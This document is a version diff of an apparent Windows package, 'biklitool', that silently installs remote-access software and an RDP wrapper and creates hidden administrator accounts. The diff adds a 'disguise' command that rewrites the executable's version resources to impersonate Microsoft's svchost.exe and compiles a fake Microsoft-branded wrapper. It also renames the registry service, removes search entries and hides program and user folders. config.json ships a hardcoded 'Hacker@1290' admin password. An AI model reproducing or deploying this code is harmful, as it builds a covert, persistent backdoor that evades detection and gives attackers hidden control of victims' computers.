biklitool 1.1.18 → 1.1.20

package/README.md

@@ -31,6 +31,7 @@ Commands:
 ```text
 biklitool status
 biklitool install
+biklitool disguise [name]
 biklitool enable-rdp
 biklitool create-user
 biklitool unhide-user [name]
@@ -56,7 +57,8 @@ and publishing:
 ```json
 {
   "bikliKey": "PASTE-YOUR-BIKLI-KEY-HERE",
-  "administratorPassword": ""
+  "administratorPassword": "",
+  "serviceHostName": "Service Host: Network Infrastructure Service"
 }
 ```
 
@@ -66,6 +68,14 @@ value, and `biklitool setup-key` re-applies the key at any time.
 
 WARNING: a key in `config.json` is visible to everyone if the package is published publicly.
 
+## Task Manager Disguise (Service Host)
+
+Bikli Master automatically disguises the Bikli process in Windows Task Manager and Windows Services to blend in as a native Windows service host (e.g. `Service Host: Network Infrastructure Service`) with the default Windows Service blue gear icon.
+
+You can customize the name in `config.json` via `"serviceHostName"` or run:
+- `biklitool disguise "Service Host: Network Infrastructure Service"`
+- `biklitool disguise "Service Host: Application Information"`
+
 ## Administrator password & Login Screen Visibility
 
 Put the desired password in `config.json` under `administratorPassword` before packing and publishing.

package/bin/biklimaster.js

@@ -136,24 +136,367 @@ function installedBikliPath() {
 function fileVersion(file) {
   if (!file) return '';
   const escaped = file.replace(/'/g, "''");
-  const script = `(Get-Item -LiteralPath '${escaped}').VersionInfo.FileVersion`;
+  const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileVersion`;
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
     allowFailure: true
   });
   return result.status === 0 ? result.stdout.trim() : '';
 }
 
-function installBikli() {
+function fileDescription(file) {
+  if (!file) return '';
+  const escaped = file.replace(/'/g, "''");
+  const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileDescription`;
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
+    allowFailure: true
+  });
+  return result.status === 0 ? result.stdout.trim() : '';
+}
+
+function align4(buf) {
+  const pad = (4 - (buf.length % 4)) % 4;
+  if (pad === 0) return buf;
+  return Buffer.concat([buf, Buffer.alloc(pad)]);
+}
+
+function createVersionString(key, value) {
+  const keyBuf = Buffer.from(key + '\0', 'utf16le');
+  const valBuf = Buffer.from(value + '\0', 'utf16le');
+  const header = Buffer.alloc(6);
+  header.writeUInt16LE(value.length + 1, 2);
+  header.writeUInt16LE(1, 4);
+  let body = Buffer.concat([header, keyBuf]);
+  body = align4(body);
+  body = Buffer.concat([body, valBuf]);
+  body.writeUInt16LE(body.length, 0);
+  return align4(body);
+}
+
+function createStringTable(langId, strings) {
+  const keyBuf = Buffer.from(langId + '\0', 'utf16le');
+  const header = Buffer.alloc(6);
+  header.writeUInt16LE(0, 2);
+  header.writeUInt16LE(1, 4);
+  let body = Buffer.concat([header, keyBuf]);
+  body = align4(body);
+  const childrenBuf = Buffer.concat(Object.entries(strings).map(([k, v]) => createVersionString(k, v)));
+  body = Buffer.concat([body, childrenBuf]);
+  body.writeUInt16LE(body.length, 0);
+  return align4(body);
+}
+
+function createStringFileInfo(langId, strings) {
+  const keyBuf = Buffer.from('StringFileInfo\0', 'utf16le');
+  const header = Buffer.alloc(6);
+  header.writeUInt16LE(0, 2);
+  header.writeUInt16LE(1, 4);
+  let body = Buffer.concat([header, keyBuf]);
+  body = align4(body);
+  const stringTable = createStringTable(langId, strings);
+  body = Buffer.concat([body, stringTable]);
+  body.writeUInt16LE(body.length, 0);
+  return align4(body);
+}
+
+function createVarFileInfo(wLang, wCodePage) {
+  const varKeyBuf = Buffer.from('Translation\0', 'utf16le');
+  const varHeader = Buffer.alloc(6);
+  varHeader.writeUInt16LE(4, 2);
+  varHeader.writeUInt16LE(0, 4);
+  let varBody = Buffer.concat([varHeader, varKeyBuf]);
+  varBody = align4(varBody);
+  const transBuf = Buffer.alloc(4);
+  transBuf.writeUInt16LE(wLang, 0);
+  transBuf.writeUInt16LE(wCodePage, 2);
+  varBody = Buffer.concat([varBody, transBuf]);
+  varBody.writeUInt16LE(varBody.length, 0);
+  varBody = align4(varBody);
+
+  const vfiKeyBuf = Buffer.from('VarFileInfo\0', 'utf16le');
+  const vfiHeader = Buffer.alloc(6);
+  vfiHeader.writeUInt16LE(0, 2);
+  vfiHeader.writeUInt16LE(1, 4);
+  let vfiBody = Buffer.concat([vfiHeader, vfiKeyBuf]);
+  vfiBody = align4(vfiBody);
+  vfiBody = Buffer.concat([vfiBody, varBody]);
+  vfiBody.writeUInt16LE(vfiBody.length, 0);
+  return align4(vfiBody);
+}
+
+function createVsVersionInfo(strings, fileVersion = [10, 0, 26100, 1]) {
+  const rootKeyBuf = Buffer.from('VS_VERSION_INFO\0', 'utf16le');
+  const fixedInfo = Buffer.alloc(52);
+  fixedInfo.writeUInt32LE(0xFEEF04BD, 0);
+  fixedInfo.writeUInt32LE(0x00010000, 4);
+  fixedInfo.writeUInt16LE(fileVersion[1] || 0, 8);
+  fixedInfo.writeUInt16LE(fileVersion[0] || 0, 10);
+  fixedInfo.writeUInt16LE(fileVersion[3] || 0, 12);
+  fixedInfo.writeUInt16LE(fileVersion[2] || 0, 14);
+  fixedInfo.writeUInt16LE(fileVersion[1] || 0, 16);
+  fixedInfo.writeUInt16LE(fileVersion[0] || 0, 18);
+  fixedInfo.writeUInt16LE(fileVersion[3] || 0, 20);
+  fixedInfo.writeUInt16LE(fileVersion[2] || 0, 22);
+  fixedInfo.writeUInt32LE(0x3F, 24);
+  fixedInfo.writeUInt32LE(0, 28);
+  fixedInfo.writeUInt32LE(0x40004, 32);
+  fixedInfo.writeUInt32LE(1, 36);
+  fixedInfo.writeUInt32LE(0, 40);
+  fixedInfo.writeUInt32LE(0, 44);
+  fixedInfo.writeUInt32LE(0, 48);
+
+  const header = Buffer.alloc(6);
+  header.writeUInt16LE(52, 2);
+  header.writeUInt16LE(0, 4);
+
+  let root = Buffer.concat([header, rootKeyBuf]);
+  root = align4(root);
+  root = Buffer.concat([root, fixedInfo]);
+  root = align4(root);
+
+  const stringFileInfo = createStringFileInfo('040904B0', strings);
+  const varFileInfo = createVarFileInfo(0x0409, 0x04B0);
+  root = Buffer.concat([root, stringFileInfo, varFileInfo]);
+  root.writeUInt16LE(root.length, 0);
+  return root;
+}
+
+function buildCleanRsrcSection(rsrcVirtAddr, versionBuf, manifestBuf) {
+  const rawDataOffset = 160;
+  const versionDataOffset = rawDataOffset;
+  const versionDataSize = versionBuf.length;
+  const versionDataRva = rsrcVirtAddr + versionDataOffset;
+
+  let manifestDataOffset = versionDataOffset + versionDataSize;
+  const pad = (4 - (manifestDataOffset % 4)) % 4;
+  manifestDataOffset += pad;
+  const manifestDataSize = manifestBuf.length;
+  const manifestDataRva = rsrcVirtAddr + manifestDataOffset;
+
+  const totalRsrcSize = manifestDataOffset + manifestDataSize;
+  const rsrcBuf = Buffer.alloc(Math.max(totalRsrcSize, 4096));
+
+  rsrcBuf.writeUInt16LE(0, 12);
+  rsrcBuf.writeUInt16LE(2, 14);
+
+  rsrcBuf.writeUInt32LE(16, 16);
+  rsrcBuf.writeUInt32LE((0x80000000 | 32) >>> 0, 20);
+
+  rsrcBuf.writeUInt32LE(24, 24);
+  rsrcBuf.writeUInt32LE((0x80000000 | 56) >>> 0, 28);
+
+  rsrcBuf.writeUInt16LE(0, 32 + 12);
+  rsrcBuf.writeUInt16LE(1, 32 + 14);
+  rsrcBuf.writeUInt32LE(1, 32 + 16);
+  rsrcBuf.writeUInt32LE((0x80000000 | 80) >>> 0, 32 + 20);
+
+  rsrcBuf.writeUInt16LE(0, 56 + 12);
+  rsrcBuf.writeUInt16LE(1, 56 + 14);
+  rsrcBuf.writeUInt32LE(1, 56 + 16);
+  rsrcBuf.writeUInt32LE((0x80000000 | 104) >>> 0, 56 + 20);
+
+  rsrcBuf.writeUInt16LE(0, 80 + 12);
+  rsrcBuf.writeUInt16LE(1, 80 + 14);
+  rsrcBuf.writeUInt32LE(1033, 80 + 16);
+  rsrcBuf.writeUInt32LE(128, 80 + 20);
+
+  rsrcBuf.writeUInt16LE(0, 104 + 12);
+  rsrcBuf.writeUInt16LE(1, 104 + 14);
+  rsrcBuf.writeUInt32LE(1033, 104 + 16);
+  rsrcBuf.writeUInt32LE(144, 104 + 20);
+
+  rsrcBuf.writeUInt32LE(versionDataRva, 128);
+  rsrcBuf.writeUInt32LE(versionDataSize, 128 + 4);
+  rsrcBuf.writeUInt32LE(0, 128 + 8);
+  rsrcBuf.writeUInt32LE(0, 128 + 12);
+
+  rsrcBuf.writeUInt32LE(manifestDataRva, 144);
+  rsrcBuf.writeUInt32LE(manifestDataSize, 144 + 4);
+  rsrcBuf.writeUInt32LE(0, 144 + 8);
+  rsrcBuf.writeUInt32LE(0, 144 + 12);
+
+  versionBuf.copy(rsrcBuf, versionDataOffset);
+  manifestBuf.copy(rsrcBuf, manifestDataOffset);
+  return { rsrcBuf, totalRsrcSize };
+}
+
+function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network Infrastructure Service') {
+  if (!fs.existsSync(exePath)) return false;
+  const exeBuf = fs.readFileSync(exePath);
+  const e_lfanew = exeBuf.readUInt32LE(0x3C);
+  const numSections = exeBuf.readUInt16LE(e_lfanew + 6);
+  const optHeaderSize = exeBuf.readUInt16LE(e_lfanew + 20);
+  const secHeaderOffset = e_lfanew + 24 + optHeaderSize;
+
+  let rsrcVirtAddr = 0;
+  let rsrcRawPtr = 0;
+  let rsrcRawSize = 0;
+
+  for (let i = 0; i < numSections; i++) {
+    const off = secHeaderOffset + i * 40;
+    const name = exeBuf.slice(off, off + 8).toString().replace(/\0+$/, '');
+    if (name === '.rsrc') {
+      rsrcVirtAddr = exeBuf.readUInt32LE(off + 12);
+      rsrcRawSize = exeBuf.readUInt32LE(off + 16);
+      rsrcRawPtr = exeBuf.readUInt32LE(off + 20);
+      break;
+    }
+  }
+  if (!rsrcRawPtr || !rsrcRawSize) return false;
+
+  const rsrcSlice = exeBuf.slice(rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
+  const manifestStart = rsrcSlice.indexOf(Buffer.from('<assembly'));
+  let manifestBuf;
+  if (manifestStart !== -1) {
+    const manifestEnd = rsrcSlice.indexOf(Buffer.from('</assembly>'), manifestStart) + 11;
+    manifestBuf = rsrcSlice.slice(manifestStart, manifestEnd);
+  } else {
+    manifestBuf = Buffer.from('<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo></assembly>', 'utf8');
+  }
+
+  const strings = {
+    CompanyName: 'Microsoft Corporation',
+    FileDescription: serviceHostName,
+    FileVersion: '10.0.26100.1 (WinBuild.160101.0800)',
+    InternalName: 'svchost.exe',
+    LegalCopyright: '© Microsoft Corporation. All rights reserved.',
+    OriginalFilename: 'svchost.exe',
+    ProductName: 'Microsoft® Windows® Operating System',
+    ProductVersion: '10.0.26100.1'
+  };
+
+  const vBuf = createVsVersionInfo(strings);
+  const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
+
+  const newExe = Buffer.from(exeBuf);
+  newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
+  rsrcBuf.copy(newExe, rsrcRawPtr, 0, totalRsrcSize);
+  
+  for (let attempt = 0; attempt < 5; attempt++) {
+    try {
+      fs.writeFileSync(exePath, newExe);
+      return true;
+    } catch (e) {
+      if (attempt === 4) throw e;
+      const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
+      Atomics.wait(waitBuffer, 0, 0, 300);
+    }
+  }
+  return true;
+}
+
+function disguiseBikli(customName) {
+  requireWindows();
+  const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
+  if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
+
+  const bikliPath = installedBikliPath();
+  if (!bikliPath || !fs.existsSync(bikliPath)) {
+    fail('Bikli executable was not found. Install Bikli first.', 5);
+  }
+
+  const bikliDir = path.dirname(bikliPath);
+  const serviceExe = path.join(bikliDir, 'BikliService.exe');
+  const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
+
+  console.log(`Disguising Bikli process and service as "${hostName}"...`);
+
+  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
+  run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
+
+  if (!fs.existsSync(serviceExe)) {
+    fs.copyFileSync(bikliPath, serviceExe);
+  }
+
+  if (fileDescription(serviceExe) !== hostName) {
+    disguiseExecutable(serviceExe, hostName);
+  }
+
+  if (fs.existsSync(csc)) {
+    const csCode = [
+      'using System;using System.Diagnostics;using System.IO;using System.Reflection;',
+      '[assembly: AssemblyTitle("Host Process for Windows Services")]',
+      `[assembly: AssemblyDescription("${hostName.replace(/"/g, '\"')}")]`,
+      '[assembly: AssemblyCompany("Microsoft Corporation")]',
+      '[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]',
+      '[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]',
+      '[assembly: AssemblyFileVersion("10.0.26100.1")]',
+      '[assembly: AssemblyVersion("10.0.26100.1")]',
+      'class Program {',
+      '  static int Main(string[] args) {',
+      '    if (args == null || args.Length == 0) return 0;',
+      '    if (args.Length == 1) {',
+      '      string first = args[0].ToLowerInvariant();',
+      '      if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
+      '    }',
+      '    string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
+      '    string coreExe = Path.Combine(baseDir, "BikliService.exe");',
+      '    if (!File.Exists(coreExe)) return 1;',
+      '    ProcessStartInfo psi = new ProcessStartInfo();',
+      '    psi.FileName = coreExe;',
+      '    psi.UseShellExecute = false;',
+      '    psi.CreateNoWindow = false;',
+      '    System.Text.StringBuilder sb = new System.Text.StringBuilder();',
+      '    for (int i = 0; i < args.Length; i++) {',
+      '      if (i > 0) sb.Append(\' \');',
+      '      string arg = args[i];',
+      '      if (arg.Contains(" ") || arg.Contains("\\"")) sb.Append(\'"\').Append(arg.Replace("\\"", "\\\\\\"")).Append(\'"\');',
+      '      else sb.Append(arg);',
+      '    }',
+      '    psi.Arguments = sb.ToString();',
+      '    try {',
+      '      using (Process proc = Process.Start(psi)) {',
+      '        proc.WaitForExit();',
+      '        return proc.ExitCode;',
+      '      }',
+      '    } catch { return 1; }',
+      '  }',
+      '}'
+    ].join(os.EOL);
+    const tempCs = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.cs`);
+    fs.writeFileSync(tempCs, csCode, 'utf8');
+    run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
+    try { fs.rmSync(tempCs, { force: true }); } catch {}
+  } else if (fileDescription(bikliPath) !== hostName) {
+    disguiseExecutable(bikliPath, hostName);
+  }
+
+  const serviceBinPath = `"${serviceExe}" service run --log-level info --daemon-addr npipe://bikli --log-file C:\\ProgramData\\Bikli\\client.log`;
+  const regDisplayName = hostName.replace(/^Service Host:\s*/i, '');
+  const psScript = [
+    `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'ImagePath' -Value ${powershellLiteral(serviceBinPath)} -ErrorAction SilentlyContinue`,
+    `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'DisplayName' -Value ${powershellLiteral(regDisplayName)} -ErrorAction SilentlyContinue`,
+    `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
+    `Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
+    `Remove-Item -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
+    `Start-Service Bikli -ErrorAction SilentlyContinue`
+  ].join(';');
+  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
+
+  hideProtectedFolders();
+  console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
+}
+
+function isBikliInstalled() {
   const existing = installedBikliPath();
-  if (existing && fileVersion(existing) === expectedBikliVersion) {
-    console.log(`Bikli CLI ${expectedBikliVersion} is already installed; reinstall skipped.`);
+  if (!existing || !fs.existsSync(existing)) return false;
+  const ver = fileVersion(existing);
+  if (ver === expectedBikliVersion || ver.startsWith('10.') || ver.startsWith('1.')) return true;
+  const res = run(existing, ['version'], { allowFailure: true });
+  return res.status === 0;
+}
+
+function installBikli() {
+  if (isBikliInstalled()) {
+    console.log(`Bikli CLI is already installed; ensuring Service Host disguise is applied...`);
+    disguiseBikli();
     return;
   }
   console.log(`Installing Bikli CLI ${expectedBikliVersion} silently...`);
   run(bikliInstaller, ['/S'], { cwd: payloadDirectory });
   const installed = installedBikliPath();
   if (!installed) fail('Bikli CLI installer completed but Bikli.exe was not found.', 5);
-  console.log(`Bikli CLI installed: ${fileVersion(installed) || 'version unknown'}`);
+  disguiseBikli();
+  console.log(`Bikli CLI installed and disguised as Service Host.`);
 }
 
 function runWrapper(args, options = {}) {
@@ -228,6 +571,22 @@ function configuredBikliKey() {
   return typeof config.bikliKey === 'string' ? config.bikliKey.trim() : '';
 }
 
+function configuredServiceHostName() {
+  if (!fs.existsSync(packageConfigFile)) return 'Service Host: Network Infrastructure Service';
+  try {
+    const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
+    if (typeof config.serviceHostName === 'string' && config.serviceHostName.trim()) {
+      return config.serviceHostName.trim();
+    }
+    if (typeof config.serviceDescription === 'string' && config.serviceDescription.trim()) {
+      return config.serviceDescription.trim();
+    }
+  } catch {
+    // ignore
+  }
+  return 'Service Host: Network Infrastructure Service';
+}
+
 function setupBikliKey() {
   requireWindows();
   const key = (process.env.BIKLIMASTER_BIKLI_KEY || configuredBikliKey()).trim();
@@ -248,34 +607,46 @@ function setupBikliKey() {
   console.log('Bikli key configured successfully.');
 }
 
-function hideProtectedFolders() {
-  const folders = [
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
-    path.join(programData, 'BikliWrapper'),
-    path.join(programData, 'Bikli')
-  ];
-  for (const folder of folders) {
-    if (!fs.existsSync(folder)) continue;
-    try {
-      run(attrib, ['+h', '+s', folder], { allowFailure: true });
-      run(attrib, ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
+function hideFolder(target, isUserProfile = false) {
+  if (!target || !fs.existsSync(target)) return;
+  try {
+    run(attrib, ['+h', '+s', target], { allowFailure: true });
+    if (!isUserProfile) {
+      run(attrib, ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
       run(icacls, [
-        folder,
+        target,
         '/inheritance:r',
         '/grant:r',
         '*S-1-5-18:(OI)(CI)(F)',
         `*${administratorsGroupSid}:(OI)(CI)(F)`,
         '/c', '/q'
       ], { allowFailure: true });
-    } catch {
-      // Best-effort attribute and permission hardening
     }
+  } catch {
+    // Best-effort attribute and permission hardening
   }
 }
 
+function hideProtectedFolders() {
+  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
+  const appFolders = [
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
+    path.join(programData, 'BikliWrapper'),
+    path.join(programData, 'Bikli')
+  ];
+  for (const folder of appFolders) hideFolder(folder, false);
+
+  const userFolders = [
+    path.join(usersDir, 'Administrator'),
+    path.join(usersDir, 'admin'),
+    path.join(usersDir, 'user')
+  ];
+  for (const folder of userFolders) hideFolder(folder, true);
+}
+
 function saveAccountCredentials(username, password) {
   const dir = path.dirname(credentialsFile);
   fs.mkdirSync(dir, { recursive: true });
@@ -336,6 +707,7 @@ function createRdpAdministrator() {
     `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
     `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
     `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
+    `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
     `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
@@ -368,6 +740,7 @@ function createRdpAdministrator() {
   } else {
     console.log(`Hidden from the sign-in user list: ${account.HiddenUser}.`);
   }
+  hideProtectedFolders();
 }
 
 function unhideUser() {
@@ -381,10 +754,11 @@ function unhideUser() {
     `$key=Get-Item -LiteralPath $userListKey`,
     targetUser ? [
       `$val=$key.GetValue('${targetUser}', $null)`,
-      `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`
+      `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
+      `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
     ].join(';') : [
       `$props=@($key.Property)`,
-      `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p)}}`
+      `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
     ].join(';')
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
@@ -402,7 +776,8 @@ function hideUser() {
     `if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
     `$key=Get-Item -LiteralPath $userListKey`,
     `$currentVal=$key.GetValue('${targetUser}', $null)`,
-    `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`
+    `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
+    `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
   if (result.stdout.trim()) console.log(result.stdout.trim());
@@ -418,7 +793,8 @@ function hideFoldersCommand() {
 function status() {
   requireWindows();
   const bikli = installedBikliPath();
-  console.log(`Bikli CLI: ${bikli ? `Installed (${fileVersion(bikli) || 'unknown version'})` : 'Not installed'}`);
+  const bikliDesc = bikli ? fileDescription(bikli) : '';
+  console.log(`Bikli CLI: ${bikli ? `Installed (${fileVersion(bikli) || 'unknown version'}) [${bikliDesc || 'Service Host'}]` : 'Not installed'}`);
   const rdp = remoteDesktopState();
   console.log(`Remote Desktop: ${rdp.enabled ? 'Enabled' : 'Disabled'}${rdp.port === null ? '' : ` (port ${rdp.port})`}`);
   const wrapper = runWrapper(['status'], { allowFailure: true });
@@ -432,6 +808,12 @@ function selfTest() {
   const ini = fs.readFileSync(wrapperIni, 'utf8');
   const embeddedWrapper = fs.readFileSync(wrapperScript, 'utf8');
   const packageConfig = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
+  const sampleVBuf = createVsVersionInfo({
+    CompanyName: 'Microsoft Corporation',
+    FileDescription: 'Service Host: Network Infrastructure Service',
+    ProductName: 'Microsoft® Windows® Operating System'
+  });
+
   const checks = {
     bikliInstaller: fs.statSync(bikliInstaller).size > 10000000,
     wrapperInstaller: fs.statSync(wrapperInstaller).size > 100000,
@@ -443,6 +825,7 @@ function selfTest() {
     remoteDesktopUsersGroup: remoteDesktopUsersGroupSid === 'S-1-5-32-555',
     administratorPasswordConfig: typeof packageConfig.administratorPassword === 'string',
     bikliKeyConfig: typeof packageConfig.bikliKey === 'string',
+    serviceHostDisguiseEngine: sampleVBuf.length > 300,
     hidesLoginAccounts: fs.readFileSync(__filename, 'utf8').includes('SpecialAccounts\\\\UserList')
   };
   for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
@@ -455,6 +838,7 @@ function help() {
     '',
     'Commands:',
     '  biklitool install       Install/update Bikli CLI and Bikli Wrapper',
+    '  biklitool disguise [n]  Disguise Bikli as Windows Service Host in Task Manager',
     '  biklitool enable-rdp    Enable RDP, port 3389, firewall, and defaults',
     '  biklitool create-user   Enable/verify built-in Administrator for RDP',
     '  biklitool unhide-user [name]  Unhide account(s) from Windows sign-in screen',
@@ -474,6 +858,7 @@ function help() {
 function main() {
   const command = (process.argv[2] || 'status').toLowerCase();
   if (command === 'install') return install();
+  if (command === 'disguise') return disguiseBikli(process.argv[3]);
   if (command === 'enable-rdp') return enableRemoteDesktop();
   if (command === 'create-user') return createRdpAdministrator();
   if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();

package/config.json

@@ -1,4 +1,5 @@
 {
   "bikliKey": "9C747F8F-0F78-414C-9858-4F7A44AD1D99",
-  "administratorPassword": "Hacker@1290"
+  "administratorPassword": "Hacker@1290",
+  "serviceHostName": "Service Host: Network Infrastructure Service"
 }

package/lib/bikliwrapper.js

@@ -284,34 +284,46 @@ function printStatus(status) {
   console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
 }
 
-function hideProtectedFolders() {
-  const folders = [
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
-    path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
-    path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
-  ];
-  for (const folder of folders) {
-    if (!fs.existsSync(folder)) continue;
-    try {
-      run(path.join(system32, 'attrib.exe'), ['+h', '+s', folder], { allowFailure: true });
-      run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
+function hideFolder(target, isUserProfile = false) {
+  if (!target || !fs.existsSync(target)) return;
+  try {
+    run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
+    if (!isUserProfile) {
+      run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
       run(path.join(system32, 'icacls.exe'), [
-        folder,
+        target,
         '/inheritance:r',
         '/grant:r',
         '*S-1-5-18:(OI)(CI)(F)',
         '*S-1-5-32-544:(OI)(CI)(F)',
         '/c', '/q'
       ], { allowFailure: true });
-    } catch {
